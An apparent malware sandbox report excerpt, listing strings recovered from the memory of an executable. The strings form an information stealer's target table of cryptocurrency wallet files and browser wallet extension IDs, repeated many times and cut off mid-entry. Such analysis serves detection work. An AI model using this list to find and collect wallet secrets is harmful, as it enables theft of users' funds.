Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.0000000001ADC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.0000000001ADC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.0000000001A49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: MetaMask\|djclckkglechooblngghdinmeemkbgci\|1\|0\|0\|MetaMask\|ejbalbakoplchlghecdalmeeeajnimhm\|1\|0\|0\|MetaMask\|nkbihfbeogaeaoehlefnkodbefgpgknn\|1\|0\|0\|TronLink\|ibnejdfjmmkpcnlpebklmnkoeoihofec\|1\|0\|0\|Binance Wallet\|fhbohimaelbohpjbbldcngcnapndodjp\|1\|0\|0\|Yoroi\|ffnbelfdoeiohenkjibnmadjiehjhajb\|1\|0\|0\|Coinbase Wallet extension\|hnfanknocfeofbddgcijnmhnfnkdnaad\|1\|0\|1\|Guarda\|hpglfhgfnhbgpjdenjgmdgoeiappafln\|1\|0\|0\|Jaxx Liberty\|cjelfplplebdjjenllpjcblmjkfcffne\|1\|0\|0\|iWallet\|kncchdigobghenbbaddojjnnaogfppfj\|1\|0\|0\|MEW CX\|nlbmnnijcnlegkjjpcfjclmcfggfefdm\|1\|0\|0\|GuildWallet\|nanjmdknhkinifnkgdcggcfnhdaammmj\|1\|0\|0\|Ronin Wallet\|fnjhmkhhmkbjkkabndcnnogagogbneec\|1\|0\|0\|NeoLine\|cphhlgmgameodnhkjdmkpanlelnlohao\|1\|0\|0\|CLV Wallet\|nhnkbkgjikgcigadomkphalanndcapjk\|1\|0\|0\|Liquality Wallet\|kpfopkelmapcoipemfendmdcghnegimn\|1\|0\|0\|Terra Station Wallet\|aiifbnbfobpmeekipheeijimdpnlpgpp\|1\|0\|0\|Keplr\|dmkamcknogkgcdfhhbddcghachkejeap\|1\|0\|0\|Sollet\|fhmfendgdocmcbmfikdcogofphimnkno\|1\|0\|0\|Auro Wallet(Mina Protocol)\|cnmamaachppnkjgnildpdmkaakejnhae\|1\|0\|0\|Polymesh Wallet\|jojhfeoedkpkglbfimdfabpdfjaoolaf\|1\|0\|0\|ICONex\|flpiciilemghbmfalicajoolhkkenfel\|1\|0\|0\|Coin98 Wallet\|aeachknmefphepccionboohckonoeemg\|1\|0\|0\|EVER Wallet\|cgeeodpfagjceefieflmdfphplkenlfk\|1\|0\|0\|KardiaChain Wallet\|pdadjkfkgcafgbceimcpbkalnfnepbnk\|1\|0\|0\|Rabby\|acmacodkjbdgmoleebolmdjonilkdbch\|1\|0\|0\|Phantom\|bfnaelmomeimhlpmgjnjophhpkkoljpa\|1\|0\|0\|Brave Wallet\|odbfpeeihdkbihmopkbjmoonfanlbfcl\|1\|0\|0\|Oxygen\|fhilaheimglignddkjgofkcbgekhenbh\|1\|0\|0\|Pali Wallet\|mgffkfbidihjpoaomajlbgchddlicgpn\|1\|0\|0\|BOLT X\|aodkkagnadcbobfpggfnjeongemjbjca\|1\|0\|0\|XDEFI Wallet\|hmeobnfnfcmdkdcmlblgagmfpfboieaf\|1\|0\|0\|Nami\|lpfcbjknijpeeillifnkikgncikgfhdo\|1\|0\|0\|Maiar DeFi Wallet\|dngmlblcodfobpdpecaadgfbcggfjfnm\|1\|0\|0\|Keeper Wallet\|lpilbniiabackdjcionkobglmddfbcjo\|1\|0\|0\|Solflare Wallet\|bhhhlbepdkbapadjdnnojkbgioiodbic\|1\|0\|0\|Cyano Wallet\|dkdedlpgdmmkkfjabffeganieamfklkm\|1\|0\|0\|KHC\|hcflpincpppdclinealmandijcmnkbgn\|1\|0\|0\|TezBox\|mnfifefkajgofkcjkemidiaecocnkjeh\|1\|0\|0\|Temple\|ookjlbkiijinhpmnjffcofjonbfbgaoc\|1\|0\|0\|Goby\|jnkelfanjkeadonecabehalmbgpfodjm\|1\|0\|0\|Ronin Wallet\|kjmoohlgokccodicjjfebfomlbljgfhk\|1\|0\|0\|Byone\|nlgbhdfgdhgbiamfdfmbikcdghidoadd\|1\|0\|0\|OneKey\|jnmbobjmhlngoefaiojfljckilhhlhcj\|1\|0\|0\|DAppPlay\|lodccjjbdhfakaekdiahmedfbieldgik\|1\|0\|0\|SteemKeychain\|jhgnbkkipaallpehbohjmkbjofjdmeid\|1\|0\|0\|Braavos Wallet\|jnlgamecbpmbajjfhmmmlhejkemejdma\|1\|0\|0\|Enkrypt\|kkpllkodjeloidieedojogacfhpaihoh\|1\|1\|1\|OKX Wallet\|mcohilncbfahbmgdjkbpemcciiolgcge\|1\|0\|0\|Sender Wallet\|epapihdplajcdnnkdeiahlgigofloibg\|1\|0\|0\|Hashpack\|gjagmgiddbbciopjhllkdnddhcglnemk\|1\|0\|0\|Eternl\|kmhcihpebfmpgmihbkipmjlmmioameka\|1\|0\|0\|Pontem Aptos Wallet\|phkbamefinggmakgklpkljjmgibohnba\|1\|0\|0\|Petra Aptos Wallet\|ejjladinnckdgjemekebdpeokbikhfci\|1\|0\|0\|Martian Aptos Wallet\|efbglgofoippbgcjepnhiblaibcnclgk\|1\|0\|0\|Finnie\|cjmkndjhnagcfbpiemnkdpomccnjblmj\|1\|0\|0\|Leap Terra Wallet\|aijcbedoijmgnlmjeegjaglmepbmpkpi\|1\|0\|0\|Trezor Password Manager\|imloifkgjagghnncjkhggdhalmcnfklk\|1\|0\|0\|Authenticator\|bhghoamapcdpbohphigoooaddinpkbai\|1\|0\|0\|
Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.0000000001ADC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.0000000001ADC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.0000000001ADC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.0000000001ADC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.0000000001ADC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.0000000001ADC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.0000000001ADC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia 